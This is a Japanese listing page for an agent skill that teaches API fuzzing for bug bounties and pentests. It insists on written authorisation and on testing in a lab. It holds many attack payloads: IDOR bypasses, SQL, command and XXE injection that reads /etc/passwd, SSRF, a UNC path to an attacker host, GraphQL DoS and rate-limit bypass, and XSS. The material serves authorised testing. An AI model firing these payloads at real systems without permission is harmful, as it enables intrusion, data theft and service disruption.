api-fuzzing-bug-bounty について
api-fuzzing-bug-bounty は、許可されたセキュリティ評価や管理された学習環境で API をテストするスキルです。バグバウンティ研究者やペネトレーションテスター向けに、REST、SOAP、GraphQL の調査と脆弱性検証を扱い、書面による許可と範囲確認を必須とします。
主な機能
- 01API エンドポイントと種別の調査
- 02認証・IDOR・インジェクションのテスト
- 03GraphQL 固有の確認項目
- 04許可確認と管理されたテストの必須化
- 05検証結果とテスト範囲の記録
活用シーン
- 01許可範囲内での API セキュリティ評価
- 02GraphQL スキーマとアクセス制御の確認
- 03ラボ環境での脆弱性検証の練習
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill api-fuzzing-bug-bountyインストール後、Claude Code で/api-fuzzing-bug-bountyを入力して読み込まれたか確認します。
詳細
⚠️ 許可された用途のみ このスキルは、教育目的または許可を得たセキュリティ評価にのみ使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認手順 ターゲットを調査、悪用、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に、次の手順を行ってください。
- ユーザーに、対象の正確な URL、IP、アカウント、またはリソースを明示するよう求めます。
- 書面による許可と、許可された範囲を確認するようユーザーに求めます。
- 正確なコマンドを提示し、想定される影響を説明します。
- 現在の会話内で明示的な確認が得られるまで待ちます。
その確認が得られない場合は、読み取り専用の操作にとどめ、防御的なガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを優先してください。
許可された用途のみ:このスキルは、許可を得たセキュリティ評価、防御的な検証、または管理された教育環境でのみ使用してください。
バグバウンティ向け API ファジング
目的
バグバウンティハンティングおよびペネトレーションテストの実施時に、REST、SOAP、GraphQL API をテストするための包括的な手法を提供します。脆弱性の発見、認証バイパス、IDOR の悪用、API 固有の攻撃ベクトルを扱います。
入力/前提条件
- Burp Suite または同様のプロキシツール
- API ワードリスト(SecLists、api_wordlist)
- REST/GraphQL/SOAP プロトコルの理解
- スクリプト作成用の Python
- 対象 API のエンドポイントとドキュメント(利用可能な場合)
出力/成果物
- 特定された API の脆弱性
- IDOR の悪用を示す証拠
- 認証バイパスの手法
- SQL インジェクションの箇所
- 不正なデータアクセスの記録
API の種類の概要
| 種類 | プロトコル | データ形式 | 構造 |
|---|---|---|---|
| SOAP | HTTP | XML | ヘッダー + ボディ |
| REST | HTTP | JSON/XML/URL | 定義されたエンドポイント |
| GraphQL | HTTP | カスタムクエリ | 単一エンドポイント |
基本的なワークフロー
管理されたテストアカウント/テナントと、読み取り専用のカナリーリソースを使用してください。ルール・オブ・エンゲージメントで、レート、同時実行数、期間、書き込み/削除メソッド、SSRF の宛先、およびコールバックエンドポイントの範囲を定めてください。DoS/深い再帰、認証情報への攻撃、破壊的なメソッドのテストには、個別の明示的な承認が必要です。可能な場合は使い捨てのラボを使用してください。レート制限に達した場合、または実際の個人データへの予期しないアクセスが発生した場合は停止してください。IP ローテーションによって制限を回避してはなりません。以下のペイロードは仮説であり、脆弱性の証明でも、すべての手法を試す指示でもありません。
ステップ 1:API の偵察
API の種類を特定し、エンドポイントを列挙します。
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
ステップ 2:認証のテスト
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
# Test mobile vs web API separately
# Don't assume same security controls
ステップ 3:IDOR のテスト
安全でない直接オブジェクト参照(IDOR)は、最も一般的な API の脆弱性です。
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]
# Test /me/orders vs /user/654321/orders
IDOR のバイパス手法:
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
ステップ 4:インジェクションのテスト
JSON 内の SQL インジェクション:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → Observe response; an error alone proves nothing
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
コマンドインジェクション:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/
XXE インジェクション:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
API 経由の SSRF:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
.NET の Path.Combine の脆弱性:
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
ステップ 5:メソッドのテスト
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml
GraphQL 固有のテスト
イントロスペクションクエリ
バックエンドのスキーマ全体を取得します。
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
URL エンコード版:
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
# Try accessing other user IDs
query {
user(id: "OTHER_USER_ID") {
id # Controlled canary record only; do not request real passwords/payment data
}
}
GraphQL の SQL/NoSQL インジェクション
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
レート制限のバイパス(バッチ処理)
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
GraphQL DoS(ネストされたクエリ)
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
GraphQL XSS
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
GraphQL ツール
| ツール | 目的 |
|---|---|
| GraphCrawler | スキーマの検出 |
| graphw00f | フィンガープリンティング |
| clairvoyance | スキーマの再構築 |
| InQL | Burp 拡張機能 |
| GraphQLmap | エクスプロイト |
エンドポイントのバイパス手法
403/401 が返された場合は、次のバイパスを試してください。
# Original blocked request
/api/v1/users/sensitivedata → 403
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata
出力の悪用
PDF エクスポート攻撃
<iframe src="file:///etc/passwd" height=1000 width=800>
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
<img src="https://iplogger.com/yourcode.gif"/>
制限を利用した DoS
# Normal request
/api/news?limit=100
# DoS attempt
/api/news?limit=9999999999
API に関する一般的な脆弱性チェックリスト
| 脆弱性 | 説明 |
|---|---|
| API の公開 | 保護されていないエンドポイントが一般公開されている |
| キャッシュの設定ミス | 機密データが不適切にキャッシュされている |
| トークンの露出 | API キー/トークンがレスポンスまたは URL に含まれている |
| JWT の弱点 | 署名が弱い、有効期限がない、アルゴリズムの混同 |
| IDOR / BOLA | オブジェクトレベルの認可の不備 |
| ドキュメント化されていないエンドポイント | 隠された管理者用/デバッグ用エンドポイント |
| バージョンの違い | 古い API バージョンにおけるセキュリティ上の欠陥 |
| レート制限 | レート制限がない、または回避可能 |
| 競合状態 | TOCTOU の脆弱性 |
| XXE インジェクション | XML パーサーの悪用 |
| コンテンツタイプの問題 | JSON/XML の切り替え |
| HTTP メソッドの改ざん | GET→DELETE/PUT の悪用 |
クイックリファレンス
| 脆弱性 | テスト用ペイロード | リスク |
|---|---|---|
| IDOR | user_id パラメーターを変更 | 高 |
| SQLi | JSON 内の ' OR 1=1-- | 重大 |
| コマンドインジェクション | ; ls / | 重大 |
| XXE | ENTITY を含む DOCTYPE | 高 |
| SSRF | パラメーター内の内部 IP | 高 |
| レート制限の回避 | バッチリクエスト | 中 |
| メソッドの改ざん | GET→DELETE | 高 |
ツールのリファレンス
| カテゴリ | ツール | URL |
|---|---|---|
| API ファジング | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API ファジング | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API ファジング | Astra | github.com/flipkart-incubator/Astra |
| API セキュリティ | apicheck | github.com/BBVA/apicheck |
| API の検出 | Kiterunner | github.com/assetnote/kiterunner |
| API の検出 | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
| API ツールキット | APIKit | github.com/API-Security/APIKit |
| API キー | API Guesser | api-guesser.netlify.app |
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
| GraphQL | InQL | github.com/doyensec/inql |
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
| GraphQL | batchql | github.com/assetnote/batchql |
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
| ワードリスト | SecLists | github.com/danielmiessler/SecLists |
| Swagger パーサー | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
| Swagger ルート | swagroutes | github.com/amalmurali47/swagroutes |
| API マインドマップ | MindAPI | dsopas.github.io/MindAPI/play |
| JSON パス | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
制約事項
必須:
- モバイル、ウェブ、開発者向けの API を個別にテストする
- すべての API バージョン(/v1、/v2、/v3)を確認する
- 認証済みアクセスと未認証アクセスの両方を検証する
禁止事項:
- API バージョン間で同じセキュリティ制御が適用されていると決めつけない
- ドキュメント化されていないエンドポイントのテストを省略しない
- レート制限の確認を無視しない
推奨事項:
- フロントエンドをシミュレートするため、
X-Requested-With: XMLHttpRequestヘッダーを追加する - 過去の API エンドポイントを archive.org で確認する
- 機密性の高い操作で競合状態をテストする
例
例 1:IDOR の悪用
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# Response reveals other user's invoice data
例 2:GraphQL のイントロスペクション
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| API が何も返さない | X-Requested-With: XMLHttpRequest ヘッダーを追加する |
| すべてのエンドポイントで 401 が返る | まず、認可されたテスト用認証情報/スコープを確認する。user_id パラメーターで認証の問題が解決すると決めつけない |
| GraphQL のイントロスペクションが無効になっている | スキーマの再構築に clairvoyance を使用する |
| レート制限がかかる | 停止するか、時間を置いて再試行し、レスポンスを保存して、承認されたリクエストレートを守る。回避しない |
| エンドポイントが見つからない | Swagger、archive.org、JS ファイルを確認する |
使用する場面
このスキルは、概要で説明されているワークフローまたはアクションを実行する際に適用できます。